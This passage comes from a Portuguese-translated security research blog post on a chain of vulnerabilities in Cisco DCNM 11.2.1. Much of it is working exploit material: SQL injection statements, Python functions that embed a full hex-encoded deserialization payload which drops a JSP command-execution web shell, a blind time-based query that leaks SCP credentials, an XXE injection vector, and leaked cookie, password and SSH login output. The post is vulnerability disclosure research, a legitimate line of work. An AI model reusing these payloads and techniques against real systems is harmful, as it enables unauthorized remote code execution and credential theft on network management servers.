/* 224 */ String sql = null;

/* */ try {

/* 226 */ con = ConnectionManager.getConnection();

/* 227 */ if (context.equals(“vpc”)) {

/* 228 */ sql = “select commands from VPC_HISTORY where id=?”;

/* */ } else {

/* 230 */ sql = “select commands from vpc_peer_history where id=?”;

/* */ }

/* 232 */ stmt = PersistentHelper.getHelper().getPreparedStmt(con, sql, 1004, 1007);

/* */

/* */

/* 235 */ stmt.setLong(1, jobId);

/* 236 */ rs = SQLLoader.execute(stmt);

/* 237 */ if (rs.next()) {

/* 238 */ InputStream input = rs.getBinaryStream(“commands”);

/* 239 */ ObjectInputStream ois = new ObjectInputStream(input);

/* 240 */ return (ConfigDeploymentStatus)ois.readObject();

/* */ }

/* 242 */ } catch (Exception ex) {

/* 243 */ _Log.error(“deleteJob”, ex);

/* */ } finally {

/* 245 */ DbUtil.close(rs);

/* 246 */ DbUtil.close(stmt);

/* 247 */ DbUtil.close(con);

/* */ }

/* */

/* 250 */ return null;

/* */ }

O código executa uma instrução select do banco de dados (de vpc_historyou vpc_peer_historytabelas) para a commandcoluna. Na linha [238], o código chama rs.getBinaryStreamque extrai os dados do fluxo binário do conjunto de resultados da instrução sql. Com essa entrada, podemos ver uma readObjectchamada clássica usando os dados dessa coluna.

Um exemplo de uma instrução de injeção SQL para explorar esse problema é apresentado abaixo. Você precisará alterar a 41carga útil serializada codificada em hexadecimal ASCII de ysoserial .

;insert into vpc_peer_history(id, commands) values (2, decode(’41’, ‘hex’));

;insert into vpc_history(id, commands) values (2, decode(’41’, ‘hex’));

Agora, quando atingirmos o seguinte ponto de extremidade, desserializaremos nossos dados não confiáveis.

https://<target>/fm/fmrest/virtualportchannel/vpcwizard/history/details?context=vpc&jobId=2

A Cisco usou versões mais recentes de todas as bibliotecas conhecidas por conter cadeias de gadgets, o que significa que várias propriedades Java precisam ser definidas para permitir a desserialização não confiável de dados. Por exemplo, versões mais recentes da lib commons-fileupload foram usadas para que o destino precise da org.apache.commons.fileupload.disk.DiskFileItem.serializablepropriedade do sistema configurada truepara ficar vulnerável.

Era a mesma situação para a biblioteca de coleções comuns . A org.apache.commons.collections.enableUnsafeSerializationpropriedade do sistema precisava ser configurada truepara obtermos a execução remota de código.

Após uma pequena pausa, notei que a lib jython-standalone estava presente no caminho da classe. A versão era 2.7.0 e não correspondia à versão em ysoserial . Como se vê, eu posso (ab) usar essa lib para desserialização. Tudo o que eu precisava fazer era alterar o pom.xmlarquivo no projeto ysoserial para usar a versão 2.7.0 da lib jython-standalone para que serialversionuIdcorrespondesse à do meu destino. Agora eu poderia usar a Jython1cadeia de gadgets.

<dependency>

<groupId>org.python</groupId>

<artifactId>jython-standalone</artifactId>

<version>2.7.0</version>

</dependency>

Os mantenedores do Python nunca corrigiram essa cadeia de gadgets; portanto, se estiver no caminho da classe, um invasor poderá aproveitá-lo para execução remota (python bytecode). Em ambas as configurações que testei, o caminho python não foi definido no ambiente Java, portanto, não pude executar o código jython através do execfile!

No entanto, não era necessário, porque a cadeia de gadgets usa o bytecode python para gravar um arquivo com nosso conteúdo controlado em um local arbitrário. Eu poderia ter projetado algum bytecode python para executar diretamente um stub, mas isso foi bom o suficiente. Portanto, eu apenas criei um arquivo backdoor chamado si.jspe especifiquei o caminho remoto (raiz da web) para gravar o arquivo!

java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Jython1 “si.jsp;../../standalone/tmp/vfs/temp/xxxxxxxxxxxxxxxxxxxx/yyyyyyyyyyyyyyyyyyyyyyyy/si.jsp” > poc.bin

Usei o caminho /xxxxxxxxxxxxxxxxxxxx/yyyyyyyyyyyyyyyyyyyyyyyy/aqui porque o servidor de aplicativos que o Cisco DCNM está usando é o Wildfly (conhecido anteriormente como Jboss) e possui implantação ativa ativada, o que significa que toda vez que o servidor de aplicativos é reiniciado, a raiz da web muda de local. Eu poderia ter gravado um arquivo war no diretório de implantação a quente e implantado a guerra em tempo real (o diretório de implantação a quente é um caminho fixo), mas usei a raiz da web porque poderia vazar o caminho do arquivo virtual usando uma vulnerabilidade diferente e o a limpeza pós-exploração foi mais fácil.

Para referência, aqui estão os métodos we_can_trigger_sqli_for_deserializatione we_can_trigger_deserializationque eu usei para explorar esse caminho de código para execução remota de código.

def we_can_trigger_sqli_for_deserialization(target, filename):

ser = “””aced0005737200176a6176612e7574696c2e5072696f7269747951756575

6594da30b4fb3f82b103000249000473697a654c000a636f6d7061726174

6f727400164c6a6176612f7574696c2f436f6d70617261746f723b787000

000002737d0000000100146a6176612e7574696c2e436f6d70617261746f

72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127

da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f726566

6c6563742f496e766f636174696f6e48616e646c65723b78707372001a6f

72672e707974686f6e2e636f72652e507946756e6374696f6e3fe65f596b

67972b0200084c000b5f5f636c6f737572655f5f74001a4c6f72672f7079

74686f6e2f636f72652f50794f626a6563743b4c00085f5f636f64655f5f

7400184c6f72672f707974686f6e2f636f72652f5079436f64653b5b000c

5f5f64656661756c74735f5f74001b5b4c6f72672f707974686f6e2f636f

72652f50794f626a6563743b4c00085f5f646963745f5f71007e00084c00

075f5f646f635f5f71007e00084c000b5f5f676c6f62616c735f5f71007e

00084c000a5f5f6d6f64756c655f5f71007e00084c00085f5f6e616d655f

5f7400124c6a6176612f6c616e672f537472696e673b787200186f72672e

707974686f6e2e636f72652e50794f626a656374daaa6a7f5c5d0b7b0200

024c000a617474726962757465737400124c6a6176612f6c616e672f4f62

6a6563743b4c00076f626a747970657400184c6f72672f707974686f6e2f

636f72652f5079547970653b787070737200236f72672e707974686f6e2e

636f72652e50795479706524547970655265736f6c7665727b8153c59e62

6af90200034c00066d6f64756c6571007e000b4c00046e616d6571007e00

0b4c0010756e6465726c79696e675f636c6173737400114c6a6176612f6c

616e672f436c6173733b787074000b5f5f6275696c74696e5f5f74000866

756e6374696f6e7671007e0007707372001a6f72672e707974686f6e2e63

6f72652e507942797465636f6465e63e58b3fab66c3802000849000c636f

5f737461636b73697a65490005636f756e745a000564656275674900086d

6178436f756e745b0007636f5f636f64657400025b425b0009636f5f636f

6e73747371007e000a5b0009636f5f6c6e6f74616271007e00175b000863

6f5f6e616d65737400135b4c6a6176612f6c616e672f537472696e673b78

72001a6f72672e707974686f6e2e636f72652e507942617365436f64655e

76d44441c3947402000c49000b636f5f617267636f756e7449000e636f5f

66697273746c696e656e6f49000a636f5f6e6c6f63616c7349000c6a795f

6e7075726563656c6c4900056e617267735a0007766172617267735a0009

7661726b77617267735b000b636f5f63656c6c7661727371007e00184c00

0b636f5f66696c656e616d6571007e000b4c0008636f5f666c6167737400

1f4c6f72672f707974686f6e2f636f72652f436f6d70696c6572466c6167

733b5b000b636f5f667265657661727371007e00185b000b636f5f766172

6e616d657371007e0018787200166f72672e707974686f6e2e636f72652e

5079436f6465745466123782c53b0200014c0007636f5f6e616d6571007e

000b7871007e000c707371007e001071007e001374000862797465636f64

657671007e00167400083c6d6f64756c653e000000020000000000000002

00000000000000020000707400066e6f6e616d657372001d6f72672e7079

74686f6e2e636f72652e436f6d70696c6572466c6167736cb83b068ebb10

0f0200055a0011646f6e745f696d706c795f646564656e745a00086f6e6c

795f6173745a000e736f757263655f69735f757466384c0008656e636f64

696e6771007e000b4c0005666c61677374000f4c6a6176612f7574696c2f

5365743b787000000070737200246a6176612e7574696c2e456e756d5365

742453657269616c697a6174696f6e50726f78790507d3db7654cad10200

024c000b656c656d656e745479706571007e00115b0008656c656d656e74

737400115b4c6a6176612f6c616e672f456e756d3b7870767200186f7267

2e707974686f6e2e636f72652e436f6465466c6167000000000000000012

00007872000e6a6176612e6c616e672e456e756d00000000000000001200

007870757200115b4c6a6176612e6c616e672e456e756d3ba88dea2d33d2

2f980200007870000000037e71007e0028740009434f5f4e45535445447e

71007e0028740014434f5f47454e455241544f525f414c4c4f5745447e71

007e0028740018434f5f4655545552455f574954485f53544154454d454e

5470757200135b4c6a6176612e6c616e672e537472696e673badd256e7e9

1d7b4702000078700000000274000071007e00350000000a0000000000ff

ffffff757200025b42acf317f8060854e002000078700000003474000064

01006402008302007d00007c0000690100640300830100017c0000690200

8300000174030064010083010001640000537572001b5b4c6f72672e7079

74686f6e2e636f72652e50794f626a6563743b250440d51bd0043f020000

787000000004737200186f72672e707974686f6e2e636f72652e50795374

72696e67ec9aabdcc5c7853d0200024c00066578706f72747400194c6a61

76612f6c616e672f7265662f5265666572656e63653b4c0006737472696e

6771007e000b7872001c6f72672e707974686f6e2e636f72652e50794261

7365537472696e67251751e8b3092f9c0200007872001a6f72672e707974

686f6e2e636f72652e507953657175656e6365555a4f144e433ee1020001

4c000964656c656761746f727400274c6f72672f707974686f6e2f636f72

652f53657175656e6365496e64657844656c65676174653b7871007e000c

707371007e001071007e00137400037374727671007e003a7372002f6f72

672e707974686f6e2e636f72652e507953657175656e6365244465666175

6c74496e64657844656c65676174656dea572b0a72a6800200014c000674

686973243074001c4c6f72672f707974686f6e2f636f72652f5079536571

75656e63653b787200256f72672e707974686f6e2e636f72652e53657175

656e6365496e64657844656c6567617465bdf7d08974dabf8e0200007870

71007e003f7071007e00357371007e003a7071007e00407371007e004371

007e0047707400552e2e2f2e2e2f7374616e64616c6f6e652f746d702f76

66732f74656d702f78787878787878787878787878787878787878782f79

79797979797979797979797979797979797979797979792f%s2e

6a73707371007e003a7071007e00407371007e004371007e004a70740002

772b7371007e003a7071007e00407371007e004371007e004d7074003e3c

252052756e74696d652e67657452756e74696d6528292e65786563287265

71756573742e676574506172616d657465722822636d642229293b20253e

0a7571007e0036000000007571007e0033000000047400046f70656e7400

057772697465740005636c6f73657400086578656366696c657070737200

246f72672e707974686f6e2e636f72652e50792453696e676c65746f6e52

65736f6c7665720545e0d125fd2ebc0200014c0005776869636871007e00

0b78707400044e6f6e657372001b6f72672e707974686f6e2e636f72652e

5079537472696e674d61706757d173fb578b160200014c00057461626c65

7400244c6a6176612f7574696c2f636f6e63757272656e742f436f6e6375

7272656e744d61703b7871007e000c707371007e001071007e0013740009

737472696e676d61707671007e0059737200266a6176612e7574696c2e63

6f6e63757272656e742e436f6e63757272656e74486173684d61706499de

129d87293d03000349000b7365676d656e744d61736b49000c7365676d65

6e7453686966745b00087365676d656e74737400315b4c6a6176612f7574

696c2f636f6e63757272656e742f436f6e63757272656e74486173684d61

70245365676d656e743b78700000000f0000001c757200315b4c6a617661

2e7574696c2e636f6e63757272656e742e436f6e63757272656e74486173

684d6170245365676d656e743b52773f41329b3974020000787000000010

7372002e6a6176612e7574696c2e636f6e63757272656e742e436f6e6375

7272656e74486173684d6170245365676d656e741f364c905893293d0200

0146000a6c6f6164466163746f72787200286a6176612e7574696c2e636f

6e63757272656e742e6c6f636b732e5265656e7472616e744c6f636b6655

a82c2cc86aeb0200014c000473796e6374002f4c6a6176612f7574696c2f

636f6e63757272656e742f6c6f636b732f5265656e7472616e744c6f636b

2453796e633b7870737200346a6176612e7574696c2e636f6e6375727265

6e742e6c6f636b732e5265656e7472616e744c6f636b244e6f6e66616972

53796e63658832e7537bbf0b0200007872002d6a6176612e7574696c2e63

6f6e63757272656e742e6c6f636b732e5265656e7472616e744c6f636b24

53796e63b81ea294aa445a7c020000787200356a6176612e7574696c2e63

6f6e63757272656e742e6c6f636b732e4162737472616374517565756564

53796e6368726f6e697a65726655a843753f52e302000149000573746174

65787200366a6176612e7574696c2e636f6e63757272656e742e6c6f636b

732e41627374726163744f776e61626c6553796e6368726f6e697a657233

dfafb9ad6d6fa90200007870000000003f4000007371007e00647371007e

0068000000003f4000007371007e00647371007e0068000000003f400000

7371007e00647371007e0068000000003f4000007371007e00647371007e

0068000000003f4000007371007e00647371007e0068000000003f400000

7371007e00647371007e0068000000003f4000007371007e00647371007e

0068000000003f4000007371007e00647371007e0068000000003f400000

7371007e00647371007e0068000000003f4000007371007e00647371007e

0068000000003f4000007371007e00647371007e0068000000003f400000

7371007e00647371007e0068000000003f4000007371007e00647371007e

0068000000003f4000007371007e00647371007e0068000000003f400000

7371007e00647371007e0068000000003f40000070707871007e00577100

7e0020770400000003737200116a6176612e6c616e672e496e7465676572

12e2a0a4f781873802000149000576616c7565787200106a6176612e6c61

6e672e4e756d62657286ac951d0b94e08b02000078700000000171007e00

8d78″”” % filename.encode(“hex”)

d =.join(ser.split()).decode(“hex”)

# patch the length if its shorter

vfs_path = str(vfs)

while (len(vfs_path) != 45):

vfs_path += “/”

d = d.replace(‘xxxxxxxxxxxxxxxxxxxx/yyyyyyyyyyyyyyyyyyyyyyyy’, vfs_path)

d = d.encode(“hex”)

sql = “delete from vpc_peer_history where id=1337;”

sql += “insert into vpc_peer_history(id, commands) values (1337, decode(‘%s’, ‘hex’));” % d

if we_can_trigger_sqli(target, sql):

return True

return False

def we_can_trigger_deserialization(target):

uri = “https://%s/fm/fmrest/virtualportchannel/vpcwizard/history/details” % target

p = {“context”: 1337, “jobId”: 1337}

c = { “resttoken” : resttoken }

r = requests.get(uri, cookies=c, params=p, verify=False, allow_redirects=False)

if r.status_code == 200:

return True

return False

Um enorme agradecimento a Alvaro Munoz e Christian Schneider por esta cadeia de gadgets, bom trabalho!

ret2toc

Primitivo 3 – Vazamento de credenciais SCP

Alvos vulneráveis:

  • Dispositivo virtual ISO para VMWare (dcnm-va.11.2.1.iso.zip)

Algumas das vulnerabilidades de injeção SQL não me permitiram empilhar as consultas. Às vezes, o código dividia a string injetada no ;caractere. Como eu só podia vazar informações do banco de dados com eles, desenvolvi uma instrução que me permitia vazar o nome de usuário do SCP e a senha de texto sem formatação da image_and_config_servertabela.

and ‘a’=(select case when substr(concat(username,’|’,password), %d, 1)=‘%s’ then pg_sleep(%d)||‘a’ else null end from image_and_config_server where name=‘Default_SCP_Repository’)

Feito isso, eu poderia fazer o login via SSH.

Vazamento de credenciais SCP e login no sistema via SSH

Vazamento de credenciais SCP e login no sistema via SSH

ret2toc

Primitivo SQLi2FD

Esta é a primitiva de divulgação de arquivos que eu costumava encadear com vulnerabilidades arbitrárias de execução de sql. Essa primitiva tira proveito da confiança assumida que o código do aplicativo tinha no banco de dados.

Nesse caso, não houve ataque de segunda ordem – o que significa que o estágio de inserção da injeção de dados foi filtrado para entrada maliciosa o suficiente para impedir a divulgação direta de arquivos. É por isso que não foi considerada uma vulnerabilidade em si.

Injeção de Entidade Externa (XXE)

Alvos vulneráveis:

  • Instalador para Windows (dcnm-installer-x64-windows.11.2.1.exe.zip)
  • Dispositivo virtual ISO para VMWare (dcnm-va.11.2.1.iso.zip)

Na com.cisco.dcbu.vinci.rest.services.CablePlansclasse, podemos ver o método REST getCablePlan.

/* */ @Path(“/cable-plans/”)

/* */ public class CablePlans

/* */ @GET

/* */ @Produces({“application/json”})

/* */ @Mapped

/* */ public Response getCablePlan(@QueryParam(“detail”) boolean detail) {

/* */ try {

/* 213 */ System.out.println(“[DEBUG DETAIL Value:: ]:: ” + detail);

/* 214 */ if (detail) {

/* */

/* 216 */ List<CablePlan> cablePlanList = viewCablePlanContent(detail);

Na linha [216] , podemos ver uma chamada para o CablePlans.viewCablePlanContentmétodo.

/* */ public List<CablePlan> viewCablePlanContent(boolean detail) throws SQLException, ClassNotFoundException, Exception {

/* 256 */ List<CablePlan> cableplanList = new ArrayList<CablePlan>();

/* 257 */ conn = null;

/* 258 */ stmt = null;

/* 259 */ rs = null;

/* */

/* */ try {

/* 262 */ String content = “”;

/* 263 */ String sql = “SELECT ID, GENERATE_FROM, FILENAME, CONTENT from cableplanglobal”;

/* 264 */ conn = ConnectionManager.getConnection();

/* 265 */ stmt = conn.createStatement();

/* 266 */ rs = stmt.executeQuery(sql);

/* */

/* 268 */ while (rs.next()) {

/* 269 */ content = rs.getString(4);

/* */ }

/* */

/* 272 */ if (!RestHelper.isEmpty(content))

/* */ {

/* 274 */ ParseXMLFile parsexmlfile = new ParseXMLFile();

/* 275 */ cableplanList = parsexmlfile.ReadXMLFile(content);

/* */ }

/* */

/* 278 */ }

Na linha [275], o código chama o ParseXMLFile.ReadXMLFilenosso arquivo XML injetado da cableplanglobaltabela.

/* */ public class ParseXMLFile

/* */ extends DefaultHandler

/* */ {

/* 24 */ List cableList = new ArrayList();

/* 25 */ String sourceSwitch = “”;

/* 26 */ String type = “”;

/* 27 */ String sourcePort = “”;

/* 28 */ String destSwitch = “”;

/* */

/* 30 */ String destPort = “”;

/* */

/* */ boolean chassisInfo = false;

/* */ boolean linkInfo = false;

/* 34 */ CablePlan cableplan = new CablePlan();

/* */

/* */

/* */

/* */ public List<CablePlan> ReadXMLFile(String fileContent) {

/* 39 */ SAXParserFactory factory = SAXParserFactory.newInstance();

/* 40 */ File file = (new CablePlans()).writeStringToFile(fileContent);

/* */ try {

/* 42 */ SAXParser parser = factory.newSAXParser();

/* 43 */ parser.parse(file, this);

Sem revisar o que CablePlans.writeStringToFilefaz, podemos ver que na linha [43] o código eventualmente chama SAXParser.parseusando uma Fileinstância apontando para o nosso conteúdo XML controlado.

A injeção seria tão simples como: ;insert into cableplanglobal(id, content) values (1337, ‘<XXE payload>’);. Agora que podemos vazar arquivos, poderíamos ter usado isso para obter mais danos .

ret2toc

Primitivas FD2RCE

Estas são as primitivas que usei para explorar vulnerabilidades que me permitiram divulgar arquivos arbitrários com ou sem uma passagem de diretório.

Primitive 1 – RabbitMQ .erlang.cookie Leak

Alvos vulneráveis:

  • Dispositivo virtual ISO para VMWare (dcnm-va.11.2.1.iso.zip)

O daemon erlang portmapper está sendo executado por padrão no dispositivo e é exposto remotamente. Pode ser (ab) usado para execução remota de código se pudermos vazar o .erlang.cookiearquivo.

[[email protected] ~]# cat /var/lib/rabbitmq/.erlang.cookie

QDBQPTVNAMZZURTUNHNC[[email protected] ~]#

Obtendo o RCE como rabbitmq através da divulgação de arquivos

Obtendo o RCE como rabbitmq através da divulgação de arquivos

ret2toc

Primitivo 2 – Vazamento de credenciais SCP

Alvos vulneráveis:

  • Dispositivo virtual ISO para VMWare (dcnm-va.11.2.1.iso.zip)

Já sabemos que a image_and_config_servertabela contém as credenciais do SCP. Assim, podemos encontrar o mapeamento do sistema de arquivos Postgres para ele. Para fazer isso, vazamos o oide relfilenodedo banco de dados dcmdb.

dcmdb=# select oid from pg_database where datname=’dcmdb’;

oid

——-

16393

(1 row)

dcmdb=# select relfilenode from pg_class where relname=’image_and_config_server’;

relfilenode

————-

17925

(1 row)

O caminho correto para a image_and_config_servertabela é /usr/local/cisco/dcm/db/data/base/16393/17925. Esse caminho é corrigido entre implantações, portanto, vazar essas informações do banco de dados do banco de dados não é um pré-requisito para esse vetor.

[[email protected] ~]# hexdump -C /usr/local/cisco/dcm/db/data/base/16393/17925

00000000 00 00 00 00 a0 b7 cf 01 00 00 00 00 1c 00 68 1f |…………..h.|

00000010 00 20 04 20 00 00 00 00 68 9f 30 01 00 00 00 00 |. . ….h.0…..|

00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |…………….|

*

00001f60 00 00 00 00 00 00 00 00 53 0a 00 00 00 00 00 00 |……..S…….|

00001f70 00 00 00 00 00 00 00 00 01 00 09 00 02 09 18 00 |…………….|

00001f80 01 00 00 00 00 00 00 00 2f 44 65 66 61 75 6c 74 |……../Default|

00001f90 5f 53 43 50 5f 52 65 70 6f 73 69 74 6f 72 79 47 |_SCP_RepositoryG|

00001fa0 73 63 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 31 30 |scp://192.168.10|

00001fb0 30 2e 31 30 31 2f 76 61 72 2f 6c 69 62 2f 64 63 |0.101/var/lib/dc|

00001fc0 6e 6d 0b 70 6f 61 70 13 37 65 35 62 66 34 32 39 |nm.poap.7e5bf429| <== user/password is on this line

00001fd0 21 31 39 32 2e 31 36 38 2e 31 30 30 2e 31 30 31 |!192.168.100.101|

00001fe0 09 73 63 70 1d 2f 76 61 72 2f 6c 69 62 2f 64 63 |.scp./var/lib/dc|

00001ff0 6e 6d 00 00 00 00 00 00 57 30 8f 8b 82 32 02 00 |nm……W0…2..|

00002000

Supondo que nossas vulnerabilidades de divulgação de arquivos possam ler arquivos binários como raiz (dica: eles podem), podemos extrair a senha do sistema de texto sem formatação para o usuário poap.

Você pode simplesmente vazar o /etc/shadowarquivo e quebrar as senhas de usuário root ou poap. A senha root é definida pelo administrador durante a instalação, portanto pode ser complicado / irritante quebrar. No entanto, a senha do usuário poap é definida pelo instalador e possui apenas 7 caracteres de comprimento usando o conjunto de caracteres [a-z0-9]!

saturn:~ mr_me$ sshpass -p ‘7e5bf429’ ssh [email protected] ‘id;uname -a’

uid=1000(poap) gid=1000(poap) groups=1000(poap)

Linux localhost 3.10.0-957.10.1.el7.x86_64 #1 SMP Mon Mar 18 15:06:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

ret2toc

Primitivo 3 – vazando server.properties

Alvos vulneráveis:

  • Dispositivo virtual ISO para VMWare (dcnm-va.11.2.1.iso.zip)

Se você preferir o acesso root (como eu), também poderá vazar o server.propertiesarquivo. Este é o mesmo arquivo exibido na interface da web para o ZDI-20-012 na RCE Chain 2 .

[[email protected] ~]# cat /usr/local/cisco/dcm/fm/conf/server.properties | grep sftp

server.sftp.rootdir=/

server.sftp.username=root

server.sftp.password=#59f44e08047be2d72f34371127b18a0b

server.sftp.enabled=true

Podemos prosseguir para descriptografar a senha, como fizemos no ZDI-20-013, e depois fazer login via SSH.

ret2toc

Conclusões

Eu não tenho nenhum. Esta postagem no blog é longa o suficiente.

Referências

PoC: https://srcincite.io/pocs/cve-2019-15977.py.txt